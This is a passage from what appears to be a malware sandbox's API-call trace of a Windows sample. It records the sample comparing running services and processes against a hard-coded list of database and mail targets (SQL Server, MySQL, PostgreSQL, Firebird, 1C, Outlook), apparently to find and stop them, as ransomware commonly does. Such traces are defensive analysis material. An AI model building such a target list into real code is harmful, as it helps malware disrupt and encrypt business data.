(lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0061.850] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0061.850] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0061.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0061.850] lstrlenW (lpString="MMCSS") returned 5 [0061.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0061.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0061.850] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0061.850] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0061.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0061.850] lstrlenW (lpString="MpsSvc") returned 6 [0061.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0061.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0061.850] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0061.850] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0061.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0061.850] lstrlenW (lpString="Netman") returned 6 [0061.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0061.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0061.850] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0061.850] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0061.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0061.850] lstrlenW (lpString="netprofm") returned 8 [0061.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0061.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0061.850] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0061.850] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0061.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0061.850] lstrlenW (lpString="NlaSvc") returned 6 [0061.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0061.851] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0061.851] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0061.851] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0061.851] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0061.851] lstrlenW (lpString="nsi") returned 3 [0061.851] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0061.851] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0061.851] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0061.851] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0061.851] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0061.851] lstrlenW (lpString="PcaSvc") returned 6 [0061.851] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0061.851] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0061.851] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0061.851] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0061.851] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0061.851] lstrlenW (lpString="PlugPlay") returned 8 [0061.851] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0061.851] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0061.851] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0061.851] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0061.851] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0061.851] lstrlenW (lpString="Power") returned 5 [0061.851] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0061.851] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0061.851] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0061.851] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0061.851] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0061.851] lstrlenW (lpString="ProfSvc") returned 7 [0061.851] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0061.851] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0061.852] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0061.852] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0061.852] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0061.852] lstrlenW (lpString="RpcEptMapper") returned 12 [0061.852] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0061.852] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0061.852] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0061.852] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0061.852] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0061.852] lstrlenW (lpString="RpcSs") returned 5 [0061.852] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0061.852] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0061.852] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0061.852] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0061.852] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0061.852] lstrlenW (lpString="SamSs") returned 5 [0061.852] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0061.852] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0061.852] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0061.852] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0061.852] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0061.852] lstrlenW (lpString="Schedule") returned 8 [0061.852] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0061.852] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0061.852] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0061.852] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0061.852] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0061.852] lstrlenW (lpString="SENS") returned 4 [0061.852] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0061.852] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0061.852] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0061.853] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0061.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0061.853] lstrlenW (lpString="ShellHWDetection") returned 16 [0061.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0061.853] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0061.853] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0061.853] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0061.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0061.853] lstrlenW (lpString="Spooler") returned 7 [0061.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0061.853] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0061.853] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0061.853] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0061.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0061.853] lstrlenW (lpString="swprv") returned 5 [0061.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0061.853] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0061.853] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0061.853] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0061.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0061.853] lstrlenW (lpString="SysMain") returned 7 [0061.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0061.853] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0061.853] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0061.853] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0061.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0061.853] lstrlenW (lpString="Themes") returned 6 [0061.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0061.853] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0061.853] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0061.854] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0061.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0061.854] lstrlenW (lpString="TrkWks") returned 6 [0061.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0061.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0061.854] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0061.854] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0061.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0061.854] lstrlenW (lpString="UxSms") returned 5 [0061.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0061.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0061.854] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0061.854] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0061.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0061.854] lstrlenW (lpString="VSS") returned 3 [0061.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0061.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0061.854] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0061.854] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0061.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0061.854] lstrlenW (lpString="WdiServiceHost") returned 14 [0061.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0061.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0061.854] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0061.854] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0061.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0061.854] lstrlenW (lpString="WdiSystemHost") returned 13 [0061.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0061.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0061.854] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0061.854] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0061.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0061.855] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0061.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0061.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0061.855] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0061.855] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0061.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0061.855] lstrlenW (lpString="Winmgmt") returned 7 [0061.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0061.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0061.855] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0061.855] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0061.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0061.855] lstrlenW (lpString="WPDBusEnum") returned 10 [0061.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0061.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0061.855] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0061.855] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0061.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0061.855] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x60eb98 | out: hHeap=0x510000) returned 1 [0061.855] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x190 [0061.857] Process32FirstW (in: hSnapshot=0x190, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0061.858] Process32NextW (in: hSnapshot=0x190, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0061.858] lstrlenW (lpString="System") returned 6 [0061.858] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0061.858] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0061.858] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0061.858] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0061.858] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0061.858] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0061.858] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0061.858] Process32NextW (in: hSnapshot=0x190, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0061.858] lstrlenW (lpString="smss.exe") returned 8 [0061.858] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0061.859] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0061.859] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0061.859] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0061.859] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0061.859] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0061.859] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0061.859] Process32NextW (in: hSnapshot=0x190, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0061.859] lstrlenW (lpString="csrss.exe") returned 9 [0061.859] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0061.859] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0061.859] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0061.859] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0061.859] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0061.859] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0061.859] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0061.859] Process32NextW (in: hSnapshot=0x190, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0061.859] lstrlenW (lpString="wininit.exe") returned 11 [0061.859] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0061.860] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0061.860] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0061.860] Process32NextW (in: hSnapshot=0x190, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0061.860] lstrlenW (lpString="csrss.exe") returned 9 [0061.860] Process32NextW (in: hSnapshot=0x190, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0061.860] lstrlenW (lpString="winlogon.exe") returned 12 [0061.860] Process32NextW (in: hSnapshot=0x190, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0061.861] lstrlenW (lpString="services.exe") returned 12 [0061.861] Process32NextW (in: hSnapshot=0x190, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0061.861] lstrlenW (lpString="lsass.exe") returned 9 [0061.861] Process32NextW (in: hSnapshot=0x190, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0061.861] lstrlenW (lpString="lsm.exe") returned 7 [0061.861] Process32NextW (in: hSnapshot=0x190, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.862] lstrlenW (lpString="svchost.exe") returned 11 [0061.862] Process32NextW (in: hSnapshot=0x190, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.862] lstrlenW (lpString="svchost.exe") returned 11 [0061.862] Process32NextW (in: hSnapshot=0x190, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.862] lstrlenW (lpString="svchost.exe") returned 11 [0061.862] Process32NextW (in: hSnapshot=0x190, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.863] lstrlenW (lpString="svchost.exe") returned 11 [0061.863] Process32NextW (in: hSnapshot=0x190, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.863] lstrlenW (lpString="svchost.exe") returned 11 [0061.863] Process32NextW (in: hSnapshot=0x190, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0061.863] lstrlenW (lpString="audiodg.exe") returned 11 [0061.863] Process32NextW (in: hSnapshot=0x190, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.864] lstrlenW (lpString="svchost.exe") returned 11 [0061.864] Process32NextW (in: hSnapshot=0x190, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.864] lstrlenW (lpString="svchost.exe") returned 11 [0061.864] Process32NextW (in: hSnapshot=0x190, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0061.864] lstrlenW (lpString="dwm.exe") returned 7 [0061.864] Process32NextW (in: hSnapshot=0x190, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0061.865] lstrlenW (lpString="explorer.exe") returned 12 [0061.865] Process32NextW (in: hSnapshot=0x190, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0061.865] lstrlenW (lpString="spoolsv.exe") returned 11 [0061.865] Process32NextW (in: hSnapshot=0x190, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0061.865] lstrlenW (lpString="taskhost.exe") returned 12 [0061.865] Process32NextW (in: hSnapshot=0x190, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.866] lstrlenW (lpString="svchost.exe") returned 11 [0061.866] Process32NextW (in: hSnapshot=0x190, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0061.866] lstrlenW (lpString="taskeng.exe") returned 11 [0061.866] Process32NextW (in: hSnapshot=0x190, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0061.866] lstrlenW (lpString="taskhost.exe") returned 12 [0061.866] Process32NextW (in: hSnapshot=0x190, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="poland_holmes_bryant.exe")) returned 1 [0061.867] lstrlenW (lpString="poland_holmes_bryant.exe") returned 24 [0061.867] Process32NextW (in: hSnapshot=0x190, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explicit-much-possibilities.exe")) returned 1 [0061.867] lstrlenW (lpString="explicit-much-possibilities.exe") returned 31 [0061.867] Process32NextW (in: hSnapshot=0x190, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="frankfurtextensivewv.exe")) returned 1 [0061.867] lstrlenW (lpString="frankfurtextensivewv.exe") returned 24 [0061.867] Process32NextW (in: hSnapshot=0x190, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dramatic-idle.exe")) returned 1 [0061.869] lstrlenW (lpString="dramatic-idle.exe") returned 17 [0061.869] Process32NextW (in: hSnapshot=0x190, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="britannicaconsultdemocracy.exe")) returned 